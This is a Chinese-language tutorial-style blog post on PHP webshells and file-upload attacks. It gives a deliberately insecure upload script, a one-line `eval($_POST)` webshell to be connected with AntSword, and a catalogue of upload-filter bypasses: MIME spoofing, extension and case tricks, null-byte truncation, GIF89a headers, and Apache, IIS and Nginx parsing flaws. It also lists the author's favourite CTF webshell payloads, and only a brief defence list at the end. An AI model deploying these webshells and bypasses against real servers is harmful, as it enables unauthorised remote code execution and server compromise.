大家好,我是架構君,一個會寫代碼吟詩的架構師。今天說一說一句話木馬(新)[通俗易懂],希望能夠幫助大家進步!!!
檔案上傳漏洞是指使用者上傳了一個可執行的腳本檔案,并通過此腳本檔案獲得了執行伺服器端指令的能力。這種攻擊是最為直接和有效的,“檔案上傳”本身是沒有問題,有問題的是檔案上傳後,伺服器怎麼處理,解釋檔案。如果伺服器的處理邏輯做的不夠安全,則會導緻嚴重的後果,。
0|10x01漏洞條件
檔案可上傳
知道檔案上傳的路徑
上傳檔案可以被通路
上傳檔案可以被執行
0|10x02 挖掘思路
上傳點都調用同一個上傳類,直接全局搜尋上傳函數
黑盒尋找上傳點,代碼定位。
0|10x03 寫一個上傳
我們先寫一個上傳的前端
<html> <head> <meta charset="UTF-8"> <title>upload.html</title> </head> <body> <form action="upload.php" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" name="上傳檔案"> <!--<input type="hidden" name="MAX_FILE_SIZE" name="4098">//設定檔案上傳大小,一般在php.ini裡面設定--> </form> </body> </html>
複制
寫一個上傳php
<?php $upload_dir = "D:\PHPSTUDY2018\PHPTutorial\WWW\upload"; if(isset($_FILES['file'])){ $upload_name = $upload_dir . "\\" . $_FILES['file']; move_uploaded_file($_FILES['file']['tmp_name'],$upload_name); echo "Type:" . $_FILES['file']['type']. "<br >"; echo "Size:" . ($_FILES['file']['size'] / 1024) . "<br >"; echo "Name:" . $_FILES['file']['name'];//這三行是我們看一下上傳效果。 }else{ echo"上傳失敗"; }
複制
寫一個最簡單的一句話
<?php @eval($_POST['777']) ?>
複制
上傳:

看到上傳成功
之後拿蟻劍連接配接就行
這是一個最簡單最簡單的例子,隻是讓自己開始往白盒方向轉變。慢慢積累
0|10x04 檔案上傳繞過
1:用戶端js檢測檢測繞過
檢測原理
在用戶端通過javascript代碼來檢測使用者送出的檔案是否合法
繞過方法
- 添加允許上傳的檔案類型,使自己想要上傳的會見類型為合法
2、删除對js驗證腳本的調用,使其不能對上傳的檔案類型做檢測,進而達到繞過 -同樣的通過審查元素,檢視到form表單的内容,form的開始标簽為
,其中的onsubmit="return checkFile()的作用就是當點選上傳按鈕的時候,就會觸發js驗證腳本,是以将這一部分删除,變可以成功繞過檢測
3、利用burpsuite抓包,修改檔案類型進行繞過-首先将我們想要上傳的惡意腳本的字尾更改為符合要求的檔案類型字尾如:webshell.php -> webshell.jpg-當點選上傳的時候使用burp進行抓包,将名字的字尾改回.php,以便上傳至伺服器能夠正确解析
2:服務端繞過
1:MIME類型檢測繞過
檢測原理
當使用者上傳檔案到伺服器端的時候,伺服器端的程式會擷取上傳檔案的MIME類型,然後用這個擷取到的類型來和期望的MIME類型進行比對,如果比對不上則說明上傳的檔案不合法。服務端檢測MIME類型的代碼如下:
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')){ ...//判斷過後對檔案處理的進一步操作 }
複制
繞過方法
因為服務端檢測的是檔案的MIME類型,而對這個MIME類型的的值的擷取是通過HTTP請求字段裡的Content-Type字段 ,是以繞過的方法就是通過修改Content-Type的值,比如修改為image/jpeg;image/png;image/gif等等允許上傳類型對應的MIME值
2:黑名單繞過
檢測原理
檔案類型根據黑名單來檢測的原理就是:伺服器程式根據一份檔案字尾名的名單來判斷是否允許目前檔案上傳到伺服器,隻要上傳的檔案的類型能夠和這個黑名單裡面的類型比對,那麼就禁止該檔案上傳
繞過方法
1. 檔案名大小寫繞過
用像AsP, pHp之類的檔案名繞過黑名單檢測2. 名單清單繞過
用黑名單裡沒有的名單進行攻擊,比如黑名單裡沒有asa或cer之類
3. 特殊檔案名繞過
比如發送的 http包裡把檔案名改成 test.asp. 或 test.asp_(下劃線為空格),這種命名方式
在windows系統裡是不被允許的,是以需要在 burp之類裡進行修改,然後繞過驗證後,會
被windows系統自動去掉後面的點和空格,但要注意Unix/Linux系統沒有這個特性。
4.0x00截斷繞過
test.php(0x00).jpg test.php%00.jpg
複制
-
.htaccess檔案攻擊
6. 解析調用/漏洞繞過
7:.ini檔案攻擊
8:檔案頭繞過
在木馬内容基礎上再加了一些檔案資訊,有點像下面的結構GIF89a<?php phpinfo(); ?>
9:多個Content-Disposition
在IIS的環境下,上傳檔案時如果存在多個Content-Disposition的話,IIS會取第一個Content-Disposition中的值作為接收參數,而如果waf隻是取最後一個的話便會被繞過,Win2k8 + IIS7.0 + PHP
10:目錄驗證
iis6.0存在寫入目錄
3:web應用程式解析繞過
1. Apache解析漏洞
解析:test.php.(任意不屬于黑名單且也不屬于Apache解析白名單的名稱),比如test.php.lala
描述:一個檔案名為test.x1.x2.x3的檔案,apache會從x3的位置開始嘗試解析,如果x3不屬于apache能夠解析的擴充名,那麼apache會嘗試去解析x2,直到能夠解析到能夠解析的為止,否則就會報錯
2. IIS解析漏洞
解析 :test.asp/(任意檔案名)|test.asp;(任意檔案名) | (任意檔案名)/(任意檔案名).php
描述:IIS6.0在解析asp格式的時候有兩個解析漏洞,一個是如果目錄名包含".asp"字元串,
那麼這個目錄下所有的檔案都會按照asp去解析,另一個是隻要檔案名中含有".asp;"會優先按asp來解析
IIS7.0/7.5是對php解析時有一個類似于Nginx的解析漏洞,對任意檔案名隻要在URL後面追加上字元串"/任意檔案名.php"就會按照php的方式去解析;
3. Nginx解析漏洞
解析: (任意檔案名)/(任意檔案名).php | (任意檔案名)%00.php
描述:目前Nginx主要有這兩種漏洞,一個是對任意檔案名,在後面添加/任意檔案名.php的解析漏洞,比如原本檔案名是test.jpg,可以添加為test.jpg/x.php進行解析攻擊。
還有一種是對低版本的Nginx可以在任意檔案名後面添加%00.php進行解析攻擊。
0|10x05 我打ctf經常用的一句話
1:碰到過一次任意檔案上穿漏洞,在config.php中并未發現定義類型Media,請求:upload/.php?Type=Media
2:上傳圖檔馬
3:序列化木馬:
<?php class A{ var $a = "<?php phpinfo()?>"; } $aa = new A(); echo serialize($aa); ?>
複制
4:php,php3,php4,php5,phtml.pht
5:擴充名繞過
Asp:asa cer cdx
Aspx:ashx asmx ascx
Php:php3 phptml
Jsp:jspx jspf
6:
<script language=php>system("ls")</script>
複制
7:
GIF89a? <script language="php">eval($_REQUEST[shell])</script>
複制
0|10x06 防禦
檔案擴充名服務端白名單校驗。
檔案内容服務端校驗。
上傳檔案重命名。
隐藏上傳檔案路徑。
參考連結https://www.cnblogs.com/ldhbetter/p/9190556.html